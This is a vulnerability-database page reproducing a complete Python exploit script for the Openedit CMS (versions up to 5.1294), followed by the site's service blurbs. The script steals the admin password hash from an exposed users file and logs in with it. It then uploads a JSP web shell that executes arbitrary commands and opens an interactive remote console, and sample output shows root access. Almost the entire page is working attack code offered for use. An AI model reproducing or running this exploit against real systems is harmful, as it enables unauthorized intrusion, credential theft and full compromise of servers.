Lucene search
K

Openedit <= 5.1294 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Openedit v5.1294 Remote Code Execution Exploit, Admin hash disclosure, Login with hash, Unprotected file upload, Remote console acces

Code

                                                #!/usr/bin/python
#
# Openedit &#60;= v5.1294 Remote Code Execution Exploit
# http://net-ninja.net/blog/?p=553
# watch http://www.zeitgeistmovie.com/
#
# Explanation:
# Vuln 1: Admin hash disclosure
# Vuln 2: Login with the hash
# Vuln 3: Unprotected file upload
#
# [mr_me@pluto openedit]$ sudo python ./openown.py -p localhost:8080 -t 192.168.1.7:8080 -d /
# 
# 	| ---------------------------------------------- |
# 	| Openedit v5.1294 Remote Code Execution Explo!t |
# 	| by mr_me - net-ninja.net --------------------- |
# 
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Stealing admin hash.. hash stolen ! DES:2JPGMLB8Y60=
# (+) Logging into CMS.. logged in successfully
# (+) Generating and executing upload.. shell upload was successful..
# (+) Shell located @ http://192.168.1.7:8080/eb5b2052fc6c2f6252af578bb9a66cf3.jsp?cmd=[CMD]
# (+) Entering interactive remote console (q for quit)
#
# [email protected]:8080# id
# 
# uid=0(root) gid=0(root) groups=0(root)
# 
# [email protected]:8080# uname -a
# 
# Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux
# 
# [email protected]:8080# q
# [mr_me@pluto openedit]$

import sys, socket, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar

try:
	from poster.encode import multipart_encode
	from poster.streaminghttp import register_openers
except:
	print &#34;(!) Please download pyposter-04 to use this tool&#34;
	print &#34;--&#62; http://pypi.python.org/pypi/poster/0.4&#34;
	sys.exit(1)

usage = &#34;./%prog [&#60;options&#62;] -t [target] -d [directory]&#34;
usage += &#34;\nExample: ./%prog -p localhost:8080 -t 192.168.1.15:8080 -d /ROOT2/openedit/&#34;

parser = OptionParser(usage=usage)
parser.add_option(&#34;-p&#34;, type=&#34;string&#34;,action=&#34;store&#34;, dest=&#34;proxy&#34;,
                  help=&#34;HTTP Proxy &#60;server:port&#62;&#34;)
parser.add_option(&#34;-t&#34;, type=&#34;string&#34;, action=&#34;store&#34;, dest=&#34;target&#34;,
                  help=&#34;The Target server &#60;server:port&#62;&#34;)
parser.add_option(&#34;-d&#34;, type=&#34;string&#34;, action=&#34;store&#34;, dest=&#34;dirPath&#34;,
                  help=&#34;Directory path to the CMS&#34;)

(options, args) = parser.parse_args()

def banner():
    print &#34;\n\t| ---------------------------------------------- |&#34;
    print &#34;\t| Openedit v5.1294 Remote Code Execution Explo!t |&#34;
    print &#34;\t| by mr_me - net-ninja.net --------------------- |\n&#34;

if len(sys.argv) &#60; 5:
    banner()
    parser.print_help()
    sys.exit(1)

agents = [&#34;Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)&#34;,
        &#34;Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)&#34;,
        &#34;Microsoft Internet Explorer/4.0b1 (Windows 95)&#34;,
        &#34;Opera/8.00 (Windows NT 5.1; U; en)&#34;]

agent = choice(agents)

jspSname = &#34;eb5b2052fc6c2f6252af578bb9a66cf3.jsp&#34;
jspShell = &#34;&#34;&#34;
&#60;%@ page import=&#34;java.util.*,java.io.*&#34;%&#62;
&#60;%
if (request.getParameter(&#34;cmd&#34;) != null) {
String cmd = request.getParameter(&#34;cmd&#34;);
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
out.println(&#34;lulzStart&#34;);
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
out.println(&#34;lulzEnd&#34;);
}
%&#62;
&#34;&#34;&#34;

def getProxy():
    try:
        proxy_handler = urllib2.ProxyHandler({&#39;http&#39;: options.proxy})
    except(socket.timeout):
            print &#34;\n(-) Proxy timed out&#34;
            sys.exit(1)
    return proxy_handler

def testProxy():
	sys.stdout.write(&#34;(+) Testing proxy @ %s.. &#34; % (options.proxy))
	sys.stdout.flush()
	opener = urllib2.build_opener(getProxy())
	try:
        	check = opener.open(&#34;http://www.google.com&#34;).read()
    	except:
        	check = 0
        	pass
    	if check &#62;= 1:
        	sys.stdout.write(&#34;proxy is found to be working!\n&#34;)
        	sys.stdout.flush()
    	else:
        	print &#34;proxy failed, exiting..&#34;
        	sys.exit(1)

def doPost(exploit, cmd=None):
	if options.proxy:
		try:
                        values = {&#39;cmd&#39; : cmd }
                        data = urllib.urlencode(values)
			proxyfier = urllib2.build_opener(getProxy())
			proxyfier.addheaders = [(&#39;User-agent&#39;, agent)]
			check = proxyfier.open(exploit, data).read()

		except urllib2.HTTPError, error:
                        check = error.read()
			pass
	else:
		try:
			req = urllib2.Request(exploit)
                        req.addheaders = [(&#39;User-agent&#39;,agent)]
			check = urllib2.urlopen(req).read()
		except urllib2.HTTPError, error:
			check = error.read()

	return check
    
def interactiveAttack():
        print &#34;(+) Entering interactive remote console (q for quit)\n&#34;
        hn = &#34;%s@%s# &#34; % (getpass.getuser(), options.target)
        cmd = &#34;&#34;
        while cmd != &#39;q&#39;:
                try:
            		cmd = raw_input(hn)
            		sploit = (&#34;http://%s%s%s&#34; % (options.target, options.dirPath, jspSname))
                        resp = doPost(sploit, cmd)
                        shellOutput = resp.split(&#34;lulzStart&#34;)[1].split(&#34;lulzEnd&#34;)[0]
			print shellOutput.split(&#39;\r\n&#39;)[0]
        	except:
            		break

def getAdminHash():
	sys.stdout.write(&#34;(+) Stealing admin hash..&#34;)
	sys.stdout.flush()
	hashReq = (&#34;http://%s%sopenedit/files/download/WEB-INF/users/admin.xml&#34; % (options.target, options.dirPath))
	resp = doPost(hashReq)
	hash = re.search(&#34;&#60;password&#62;(.*)&#60;/password&#62;&#34;, resp)
	sys.stdout.write(&#34; hash stolen ! %s\n&#34; % (hash.group(1)))
	sys.stdout.flush()
	return hash.group(1)

def tryUpload(cookie):
        sys.stdout.write(&#34;(+) Creating shell and preparing.. &#34;)
        sys.stdout.flush()
	adminCookie = re.search(&#34;JSESSIONID=(.*) for&#34;, str(cookie))
	url = (&#34;http://%s%sopenedit/filemanager/upload/uploadfile-finish.html&#34; % (options.target, options.dirPath))

	try:
		writeShell = open(jspSname,&#39;w&#39;)
		writeShell.write(jspShell)
		writeShell.close()
	except:
		print &#34;(-) Exploit failed, you must have permission to write locally.&#34;
		sys.exit(1)

	register_openers()
	datagen, headers = multipart_encode({&#34;file&#34;: open(jspSname), &#34;path&#34;: &#34;/WEB-INF/base/&#34;})
	headers[&#39;Cookie&#39;] = &#34;JSESSIONID=&#34;+adminCookie.group(1)+&#34;;&#34;
	headers[&#39;User-agent&#39;] = agent
	request = urllib2.Request(url, datagen, headers)
        request.set_proxy(options.proxy, &#39;http&#39;)
	resp = urllib2.urlopen(request).read()
	writeShell.close()
	if re.search(&#34;UPLOAD SUCCESSFUL&#34;, resp):
		sys.stdout.write(&#34;shell upload was successful!\n&#34;)
		sploit = (&#34;http://%s%s%s?cmd=[CMD]&#34; % (options.target, options.dirPath, jspSname))
		sys.stdout.write(&#34;(+) Shell located @ %s\n&#34; % (sploit))
		sys.stdout.flush()
    
def doLogin(adminHash):
	sys.stdout.write(&#34;(+) Logging into CMS.. &#34;)
	sys.stdout.flush
	adminIndex = &#34;http://&#34; + options.target + options.dirPath + &#34;openedit/authentication/logon.html&#34;
	values = {&#39;loginokpage&#39; : &#39;&#39;, &#39;accountname&#39; : &#39;admin&#39;, &#39;password&#39; : adminHash, &#39;submit&#39; : &#39;Login&#39;}
	data = urllib.urlencode(values)
	cj = CookieJar()
    	if options.proxy:
        	try:
            		opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
                        opener.addheaders = [(&#39;User-agent&#39;, agent)]
	            	check = opener.open(adminIndex, data).read()
        	except:
            		print &#34;\n(-) Proxy connection failed to remote target&#34;
            		sys.exit(1)
    	else:
        	try:
            		opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            		check = opener.open(adminIndex, data).read()
            	except:
            		print &#34;(-) Target connection failed, check your address&#34;
            		sys.exit(1)
	if not re.search(&#34;Please enter your password&#34;, check):
        	sys.stdout.write(&#34;logged in successfully\n&#34;)
        	sys.stdout.flush()
		return cj
    	else:
        	sys.stdout.write(&#34;Login Failed! Exiting..\n&#34;)
        	sys.stdout.flush()
        	sys.exit(1)

def main():
	banner()
	if options.proxy:
		testProxy()
	adminHash = getAdminHash()
	adminCookie = doLogin(adminHash)
	tryUpload(adminCookie)
	interactiveAttack()
if __name__ == &#34;__main__&#34;:
	main()

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation